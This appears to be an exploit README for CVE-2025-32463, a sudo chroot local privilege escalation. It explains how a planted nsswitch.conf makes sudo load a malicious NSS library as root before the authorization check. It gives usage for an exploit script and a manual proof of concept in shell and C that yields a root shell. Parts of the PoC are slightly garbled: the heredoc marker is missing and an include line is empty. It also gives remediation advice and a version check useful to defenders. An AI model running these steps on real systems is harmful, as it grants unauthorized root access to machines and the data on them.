## https://sploitus.com/exploit?id=BCE789C7-D98A-5DCA-AB43-2D2146B5170A
# CVE-2025-32463 — sudo "chwoot" chroot Local Privilege Escalation
Local privilege escalation to **root** in [sudo](https://www.sudo.ws/) via the `--chroot` (`-R`)
option. Works for **any local user**, including accounts with **no sudoers entry at all** (e.g.
`www-data`).
sudo **1.9.14 – 1.9.17** `chroot()`s into the user-supplied directory **while the sudoers policy is
still being evaluated** — i.e. *before* the authorization decision. After that `chroot()`, sudo's
NSS lookups read `/etc/nsswitch.conf` from inside the attacker's chroot, and glibc turns a bogus
source name into `dlopen("libnss_.so.2")` — loaded and its constructor executed **as root**.
Planting a fake `nsswitch.conf` (`passwd: /woot1337`) plus a malicious `libnss_/woot1337.so.2`
whose ELF constructor does `setreuid(0)` + `exec("/bin/bash")` yields a root shell. The exploit
fires before the sudoers check, so the caller needs no sudo privileges.
- **Affected:** sudo `1.9.14` – `1.9.17`
- **Fixed:** `1.9.17p1` (the 1.9.14 chroot change was reverted; the feature was deprecated)
- **CWE:** 829 (Inclusion of Functionality from an Untrusted Control Sphere)
- **Impact:** any local user → root. Deterministic logic bug (no memory corruption, no brute force).
- Disclosed by Rich Mirch (Stratascale), 2025.
## Requirements
Python 3 standard library, a vulnerable setuid `sudo` (1.9.14–1.9.17), and `gcc` on the target (to
build the tiny libnss module). Run as the low-priv user.
## Usage
```bash
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
```
## How it works
1. Stage a chroot dir with `etc/nsswitch.conf` = `passwd: /woot1337` (+ a copy of `/etc/group`).
2. Compile `libnss_/woot1337.so.2` — an ELF whose constructor (`__attribute__((constructor))`) does
`setreuid(0,0)` and `execl("/bin/bash", …)`.
3. `sudo -R woot woot` — sudo chroots into `woot`, resolves NSS, `dlopen`s
`libnss_/woot1337.so.2` as root, and the constructor gives a root shell — before sudo ever
checks whether the user is authorized.
Canonical manual PoC (Stratascale / pr0v3rbs "chwoot"):
```bash
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c
#include
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
```
## Checking a target
```bash
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
```
## Remediation
Update sudo to ≥ 1.9.17p1. The chroot feature is deprecated and should not be relied upon.
## Disclaimer
For authorized security testing and education only. Use it only against systems you own or have
explicit permission to test.